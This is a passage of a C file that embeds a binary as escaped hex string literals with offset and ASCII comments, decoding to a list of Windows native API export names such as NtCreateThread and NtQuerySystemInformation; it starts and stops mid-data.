\"\\x63\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\"   //ction.NtCreateSe\n/* 007CE0 */   \"\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\"   //maphore.NtCreate\n/* 007D00 */   \"\\x53\\x79\\x6D\\x62\\x6F\\x6C\\x69\\x63\\x4C\\x69\\x6E\\x6B\\x4F\\x62\\x6A\\x65\"   //SymbolicLinkObje\n/* 007D20 */   \"\\x63\\x74\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x68\\x72\\x65\\x61\"   //ct.NtCreateThrea\n/* 007D40 */   \"\\x64\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\"   //d.NtCreateTimer.\n/* 007D60 */   \"\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4E\\x74\"   //NtCreateToken.Nt\n/* 007D80 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x57\\x61\\x69\\x74\\x61\\x62\\x6C\\x65\\x50\\x6F\"   //CreateWaitablePo\n/* 007DA0 */   \"\\x72\\x74\\x00\\x4E\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x54\\x65\\x62\\x00\"   //rt.NtCurrentTeb.\n/* 007DC0 */   \"\\x4E\\x74\\x44\\x65\\x62\\x75\\x67\\x41\\x63\\x74\\x69\\x76\\x65\\x50\\x72\\x6F\"   //NtDebugActivePro\n/* 007DE0 */   \"\\x63\\x65\\x73\\x73\\x00\\x4E\\x74\\x44\\x65\\x62\\x75\\x67\\x43\\x6F\\x6E\\x74\"   //cess.NtDebugCont\n/* 007E00 */   \"\\x69\\x6E\\x75\\x65\\x00\\x4E\\x74\\x44\\x65\\x6C\\x61\\x79\\x45\\x78\\x65\\x63\"   //inue.NtDelayExec\n/* 007E20 */   \"\\x75\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x74\"   //ution.NtDeleteAt\n/* 007E40 */   \"\\x6F\\x6D\\x00\\x4E\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x42\\x6F\\x6F\\x74\\x45\"   //om.NtDeleteBootE\n/* 007E60 */   \"\\x6E\\x74\\x72\\x79\\x00\\x4E\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\\x69\\x6C\"   //ntry.NtDeleteFil\n/* 007E80 */   \"\\x65\\x00\\x4E\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x4B\\x65\\x79\\x00\\x4E\\x74\"   //e.NtDeleteKey.Nt\n/* 007EA0 */   \"\\x44\\x65\\x6C\\x65\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x75\\x64\\x69\"   //DeleteObjectAudi\n/* 007EC0 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x4E\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x56\"   //tAlarm.NtDeleteV\n/* 007EE0 */   \"\\x61\\x6C\\x75\\x65\\x4B\\x65\\x79\\x00\\x4E\\x74\\x44\\x65\\x76\\x69\\x63\\x65\"   //alueKey.NtDevice\n/* 007F00 */   \"\\x49\\x6F\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\"   //IoControlFile.Nt\n/* 007F20 */   \"\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x4E\\x74\"   //DisplayString.Nt\n/* 007F40 */   \"\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\"   //DuplicateObject.\n/* 007F60 */   \"\\x4E\\x74\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\"   //NtDuplicateToken\n/* 007F80 */   \"\\x00\\x4E\\x74\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x42\\x6F\\x6F\\x74\"   //.NtEnumerateBoot\n/* 007FA0 */   \"\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x00\\x4E\\x74\\x45\\x6E\\x75\\x6D\\x65\\x72\"   //Entries.NtEnumer\n/* 007FC0 */   \"\\x61\\x74\\x65\\x4B\\x65\\x79\\x00\\x4E\\x74\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\"   //ateKey.NtEnumera\n/* 007FE0 */   \"\\x74\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\"   //teSystemEnvironm\n/* 008000 */   \"\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\\x73\\x45\\x78\\x00\\x4E\\x74\\x45\\x6E\"   //entValuesEx.NtEn\n/* 008020 */   \"\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\\x79\\x00\"   //umerateValueKey.\n/* 008040 */   \"\\x4E\\x74\\x45\\x78\\x74\\x65\\x6E\\x64\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\"   //NtExtendSection.\n/* 008060 */   \"\\x4E\\x74\\x46\\x69\\x6C\\x74\\x65\\x72\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4E\\x74\"   //NtFilterToken.Nt\n/* 008080 */   \"\\x46\\x69\\x6E\\x64\\x41\\x74\\x6F\\x6D\\x00\\x4E\\x74\\x46\\x6C\\x75\\x73\\x68\"   //FindAtom.NtFlush\n/* 0080A0 */   \"\\x42\\x75\\x66\\x66\\x65\\x72\\x73\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x46\\x6C\"   //BuffersFile.NtFl\n/* 0080C0 */   \"\\x75\\x73\\x68\\x49\\x6E\\x73\\x74\\x72\\x75\\x63\\x74\\x69\\x6F\\x6E\\x43\\x61\"   //ushInstructionCa\n/* 0080E0 */   \"\\x63\\x68\\x65\\x00\\x4E\\x74\\x46\\x6C\\x75\\x73\\x68\\x4B\\x65\\x79\\x00\\x4E\"   //che.NtFlushKey.N\n/* 008100 */   \"\\x74\\x46\\x6C\\x75\\x73\\x68\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\"   //tFlushVirtualMem\n/* 008120 */   \"\\x6F\\x72\\x79\\x00\\x4E\\x74\\x46\\x6C\\x75\\x73\\x68\\x57\\x72\\x69\\x74\\x65\"   //ory.NtFlushWrite\n/* 008140 */   \"\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x4E\\x74\\x46\\x72\\x65\\x65\\x55\\x73\\x65\"   //Buffer.NtFreeUse\n/* 008160 */   \"\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x4E\"   //rPhysicalPages.N\n/* 008180 */   \"\\x74\\x46\\x72\\x65\\x65\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\"   //tFreeVirtualMemo\n/* 0081A0 */   \"\\x72\\x79\\x00\\x4E\\x74\\x46\\x73\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x46\\x69\"   //ry.NtFsControlFi\n/* 0081C0 */   \"\\x6C\\x65\\x00\\x4E\\x74\\x47\\x65\\x74\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x54\"   //le.NtGetContextT\n/* 0081E0 */   \"\\x68\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\\x47\\x65\\x74\\x44\\x65\\x76\\x69\\x63\"   //hread.NtGetDevic\n/* 008200 */   \"\\x65\\x50\\x6F\\x77\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x4E\\x74\\x47\\x65\"   //ePowerState.NtGe\n/* 008220 */   \"\\x74\\x50\\x6C\\x75\\x67\\x50\\x6C\\x61\\x79\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\"   //tPlugPlayEvent.N\n/* 008240 */   \"\\x74\\x47\\x65\\x74\\x57\\x72\\x69\\x74\\x65\\x57\\x61\\x74\\x63\\x68\\x00\\x4E\"   //tGetWriteWatch.N\n/* 008260 */   \"\\x74\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x41\\x6E\\x6F\\x6E\"   //tImpersonateAnon\n/* 008280 */   \"\\x79\\x6D\\x6F\\x75\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4E\\x74\\x49\\x6D\\x70\"   //ymousToken.NtImp\n/* 0082A0 */   \"\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x43\\x6C\\x69\\x65\\x6E\\x74\\x4F\\x66\"   //ersonateClientOf\n/* 0082C0 */   \"\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\"   //Port.NtImpersona\n/* 0082E0 */   \"\\x74\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\\x49\\x6E\\x69\\x74\\x69\"   //teThread.NtIniti\n/* 008300 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x00\\x4E\\x74\"   //alizeRegistry.Nt\n/* 008320 */   \"\\x49\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\\x50\\x6F\\x77\\x65\\x72\\x41\\x63\\x74\"   //InitiatePowerAct\n/* 008340 */   \"\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x49\\x73\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\"   //ion.NtIsProcessI\n/* 008360 */   \"\\x6E\\x4A\\x6F\\x62\\x00\\x4E\\x74\\x49\\x73\\x53\\x79\\x73\\x74\\x65\\x6D\\x52\"   //nJob.NtIsSystemR\n/* 008380 */   \"\\x65\\x73\\x75\\x6D\\x65\\x41\\x75\\x74\\x6F\\x6D\\x61\\x74\\x69\\x63\\x00\\x4E\"   //esumeAutomatic.N\n/* 0083A0 */   \"\\x74\\x4C\\x69\\x73\\x74\\x65\\x6E\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x4C\\x6F\"   //tListenPort.NtLo\n/* 0083C0 */   \"\\x61\\x64\\x44\\x72\\x69\\x76\\x65\\x72\\x00\\x4E\\x74\\x4C\\x6F\\x61\\x64\\x4B\"   //adDriver.NtLoadK\n/* 0083E0 */   \"\\x65\\x79\\x00\\x4E\\x74\\x4C\\x6F\\x61\\x64\\x4B\\x65\\x79\\x32\\x00\\x4E\\x74\"   //ey.NtLoadKey2.Nt\n/* 008400 */   \"\\x4C\\x6F\\x63\\x6B\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x4C\\x6F\\x63\\x6B\\x50\"   //LockFile.NtLockP\n/* 008420 */   \"\\x72\\x6F\\x64\\x75\\x63\\x74\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\"   //roductActivation\n/* 008440 */   \"\\x4B\\x65\\x79\\x73\\x00\\x4E\\x74\\x4C\\x6F\\x63\\x6B\\x52\\x65\\x67\\x69\\x73\"   //Keys.NtLockRegis\n/* 008460 */   \"\\x74\\x72\\x79\\x4B\\x65\\x79\\x00\\x4E\\x74\\x4C\\x6F\\x63\\x6B\\x56\\x69\\x72\"   //tryKey.NtLockVir\n/* 008480 */   \"\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4E\\x74\\x4D\\x61\\x6B\"   //tualMemory.NtMak\n/* 0084A0 */   \"\\x65\\x50\\x65\\x72\\x6D\\x61\\x6E\\x65\\x6E\\x74\\x4F\\x62\\x6A\\x65\\x63\\x74\"   //ePermanentObject\n/* 0084C0 */   \"\\x00\\x4E\\x74\\x4D\\x61\\x6B\\x65\\x54\\x65\\x6D\\x70\\x6F\\x72\\x61\\x72\\x79\"   //.NtMakeTemporary\n/* 0084E0 */   \"\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x4D\\x61\\x70\\x55\\x73\\x65\\x72\"   //Object.NtMapUser\n/* 008500 */   \"\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x4E\\x74\"   //PhysicalPages.Nt\n/* 008520 */   \"\\x4D\\x61\\x70\\x55\\x73\\x65\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\"   //MapUserPhysicalP\n/* 008540 */   \"\\x61\\x67\\x65\\x73\\x53\\x63\\x61\\x74\\x74\\x65\\x72\\x00\\x4E\\x74\\x4D\\x61\"   //agesScatter.NtMa\n/* 008560 */   \"\\x70\\x56\\x69\\x65\\x77\\x4F\\x66\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x4E\"   //pViewOfSection.N\n/* 008580 */   \"\\x74\\x4D\\x6F\\x64\\x69\\x66\\x79\\x42\\x6F\\x6F\\x74\\x45\\x6E\\x74\\x72\\x79\"   //tModifyBootEntry\n/* 0085A0 */   \"\\x00\\x4E\\x74\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\\x67\\x65\\x44\"   //.NtNotifyChangeD\n/* 0085C0 */   \"\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x4E\"   //irectoryFile.NtN\n/* 0085E0 */   \"\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\\x67\\x65\\x4B\\x65\\x79\\x00\\x4E\"   //otifyChangeKey.N\n/* 008600 */   \"\\x74\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\\x67\\x65\\x4D\\x75\\x6C\"   //tNotifyChangeMul\n/* 008620 */   \"\\x74\\x69\\x70\\x6C\\x65\\x4B\\x65\\x79\\x73\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\"   //tipleKeys.NtOpen\n/* 008640 */   \"\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\"   //DirectoryObject.\n/* 008660 */   \"\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x4F\\x70\"   //NtOpenEvent.NtOp\n/* 008680 */   \"\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x4E\\x74\\x4F\\x70\"   //enEventPair.NtOp\n/* 0086A0 */   \"\\x65\\x6E\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x49\\x6F\\x43\"   //enFile.NtOpenIoC\n/* 0086C0 */   \"\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\"   //ompletion.NtOpen\n/* 0086E0 */   \"\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\"   //JobObject.NtOpen\n/* 008700 */   \"\\x4B\\x65\\x79\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x4B\\x65\\x79\\x65\\x64\\x45\"   //Key.NtOpenKeyedE\n/* 008720 */   \"\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x4D\\x75\\x74\\x61\\x6E\"   //vent.NtOpenMutan\n/* 008740 */   \"\\x74\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x75\"   //t.NtOpenObjectAu\n/* 008760 */   \"\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x50\"   //ditAlarm.NtOpenP\n/* 008780 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x50\\x72\\x6F\"   //rocess.NtOpenPro\n/* 0087A0 */   \"\\x63\\x65\\x73\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\"   //cessToken.NtOpen\n/* 0087C0 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x45\\x78\\x00\\x4E\"   //ProcessTokenEx.N\n/* 0087E0 */   \"\\x74\\x4F\\x70\\x65\\x6E\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x4F\"   //tOpenSection.NtO\n/* 008800 */   \"\\x70\\x65\\x6E\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x00\\x4E\\x74\\x4F\"   //penSemaphore.NtO\n/* 008820 */   \"\\x70\\x65\\x6E\\x53\\x79\\x6D\\x62\\x6F\\x6C\\x69\\x63\\x4C\\x69\\x6E\\x6B\\x4F\"   //penSymbolicLinkO\n/* 008840 */   \"\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\"   //bject.NtOpenThre\n/* 008860 */   \"\\x61\\x64\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\\x54\"   //ad.NtOpenThreadT\n/* 008880 */   \"\\x6F\\x6B\\x65\\x6E\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\"   //oken.NtOpenThrea\n/* 0088A0 */   \"\\x64\\x54\\x6F\\x6B\\x65\\x6E\\x45\\x78\\x00\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x54\"   //dTokenEx.NtOpenT\n/* 0088C0 */   \"\\x69\\x6D\\x65\\x72\\x00\\x4E\\x74\\x50\\x6C\\x75\\x67\\x50\\x6C\\x61\\x79\\x43\"   //imer.NtPlugPlayC\n/* 0088E0 */   \"\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x4E\\x74\\x50\\x6F\\x77\\x65\\x72\\x49\\x6E\"   //ontrol.NtPowerIn\n/* 008900 */   \"\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x50\\x72\\x69\\x76\"   //formation.NtPriv\n/* 008920 */   \"\\x69\\x6C\\x65\\x67\\x65\\x43\\x68\\x65\\x63\\x6B\\x00\\x4E\\x74\\x50\\x72\\x69\"   //ilegeCheck.NtPri\n/* 008940 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x75\\x64\\x69\"   //vilegeObjectAudi\n/* 008960 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x4E\\x74\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\"   //tAlarm.NtPrivile\n/* 008980 */   \"\\x67\\x65\\x64\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x75\\x64\\x69\\x74\\x41\"   //gedServiceAuditA\n/* 0089A0 */   \"\\x6C\\x61\\x72\\x6D\\x00\\x4E\\x74\\x50\\x72\\x6F\\x74\\x65\\x63\\x74\\x56\\x69\"   //larm.NtProtectVi\n/* 0089C0 */   \"\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4E\\x74\\x50\\x75\"   //rtualMemory.NtPu\n/* 0089E0 */   \"\\x6C\\x73\\x65\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\"   //lseEvent.NtQuery\n/* 008A00 */   \"\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x46\\x69\\x6C\\x65\\x00\\x4E\"   //AttributesFile.N\n/* 008A20 */   \"\\x74\\x51\\x75\\x65\\x72\\x79\\x42\\x6F\\x6F\\x74\\x45\\x6E\\x74\\x72\\x79\\x4F\"   //tQueryBootEntryO\n/* 008A40 */   \"\\x72\\x64\\x65\\x72\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x42\\x6F\\x6F\\x74\"   //rder.NtQueryBoot\n/* 008A60 */   \"\\x4F\\x70\\x74\\x69\\x6F\\x6E\\x73\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x44\"   //Options.NtQueryD\n/* 008A80 */   \"\\x65\\x62\\x75\\x67\\x46\\x69\\x6C\\x74\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\"   //ebugFilterState.\n/* 008AA0 */   \"\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x6F\"   //NtQueryDefaultLo\n/* 008AC0 */   \"\\x63\\x61\\x6C\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x44\\x65\\x66\\x61\"   //cale.NtQueryDefa\n/* 008AE0 */   \"\\x75\\x6C\\x74\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x00\\x4E\\x74\"   //ultUILanguage.Nt\n/* 008B00 */   \"\\x51\\x75\\x65\\x72\\x79\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x46\\x69\"   //QueryDirectoryFi\n/* 008B20 */   \"\\x6C\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x44\\x69\\x72\\x65\\x63\\x74\"   //le.NtQueryDirect\n/* 008B40 */   \"\\x6F\\x72\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\"   //oryObject.NtQuer\n/* 008B60 */   \"\\x79\\x45\\x61\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x45\"   //yEaFile.NtQueryE\n/* 008B80 */   \"\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x46\\x75\\x6C\\x6C\"   //vent.NtQueryFull\n/* 008BA0 */   \"\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x46\\x69\\x6C\\x65\\x00\\x4E\"   //AttributesFile.N\n/* 008BC0 */   \"\\x74\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\"   //tQueryInformatio\n/* 008BE0 */   \"\\x6E\\x41\\x74\\x6F\\x6D\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\"   //nAtom.NtQueryInf\n/* 008C00 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x51\"   //ormationFile.NtQ\n/* 008C20 */   \"\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4A\"   //ueryInformationJ\n/* 008C40 */   \"\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\"   //obObject.NtQuery\n/* 008C60 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\\x6F\\x72\\x74\\x00\"   //InformationPort.\n/* 008C80 */   \"\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\"   //NtQueryInformati\n/* 008CA0 */   \"\\x6F\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\"   //onProcess.NtQuer\n/* 008CC0 */   \"\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x68\\x72\\x65\"   //yInformationThre\n/* 008CE0 */   \"\\x61\\x64\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //ad.NtQueryInform\n/* 008D00 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4E\\x74\\x51\\x75\\x65\"   //ationToken.NtQue\n/* 008D20 */   \"\\x72\\x79\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\"   //ryInstallUILangu\n/* 008D40 */   \"\\x61\\x67\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x74\\x65\\x72\"   //age.NtQueryInter\n/* 008D60 */   \"\\x76\\x61\\x6C\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\"   //valProfile.NtQue\n/* 008D80 */   \"\\x72\\x79\\x49\\x6F\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x00\\x4E\"   //ryIoCompletion.N\n/* 008DA0 */   \"\\x74\\x51\\x75\\x65\\x72\\x79\\x4B\\x65\\x79\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\"   //tQueryKey.NtQuer\n/* 008DC0 */   \"\\x79\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\"   //yMultipleValueKe\n/* 008DE0 */   \"\\x79\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x4D\\x75\\x74\\x61\\x6E\\x74\\x00\"   //y.NtQueryMutant.\n/* 008E00 */   \"\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\"   //NtQueryObject.Nt\n/* 008E20 */   \"\\x51\\x75\\x65\\x72\\x79\\x4F\\x70\\x65\\x6E\\x53\\x75\\x62\\x4B\\x65\\x79\\x73\"   //QueryOpenSubKeys\n/* 008E40 */   \"\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x50\\x65\\x72\\x66\\x6F\\x72\\x6D\\x61\"   //.NtQueryPerforma\n/* 008E60 */   \"\\x6E\\x63\\x65\\x43\\x6F\\x75\\x6E\\x74\\x65\\x72\\x00\\x4E\\x74\\x51\\x75\\x65\"   //nceCounter.NtQue\n/* 008E80 */   \"\\x72\\x79\\x50\\x6F\\x72\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\"   //ryPortInformatio\n/* 008EA0 */   \"\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\"   //nProcess.NtQuery\n/* 008EC0 */   \"\\x51\\x75\\x6F\\x74\\x61\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\"   //QuotaInformation\n/* 008EE0 */   \"\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x63\\x74\"   //File.NtQuerySect\n/* 008F00 */   \"\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x63\\x75\\x72\"   //ion.NtQuerySecur\n/* 008F20 */   \"\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\"   //ityObject.NtQuer\n/* 008F40 */   \"\\x79\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\"   //ySemaphore.NtQue\n/* 008F60 */   \"\\x72\\x79\\x53\\x79\\x6D\\x62\\x6F\\x6C\\x69\\x63\\x4C\\x69\\x6E\\x6B\\x4F\\x62\"   //rySymbolicLinkOb\n/* 008F80 */   \"\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x53\\x79\\x73\\x74\"   //ject.NtQuerySyst\n/* 008FA0 */   \"\\x65\\x6D\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\"   //emEnvironmentVal\n/* 008FC0 */   \"\\x75\\x65\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x53\\x79\\x73\\x74\\x65\\x6D\"   //ue.NtQuerySystem\n/* 008FE0 */   \"\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\"   //EnvironmentValue\n/* 009000 */   \"\\x45\\x78\\x00\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x53\\x79\\x73\\x74\\x65\\x6D\"   //Ex.NtQuerySystem\n/* 009020 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x51\\x75\"   //Information.NtQu\n/* 009040 */   \"\\x65\\x72\\x79\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x4E\\x74\"   //erySystemTime.Nt\n/* 009060 */   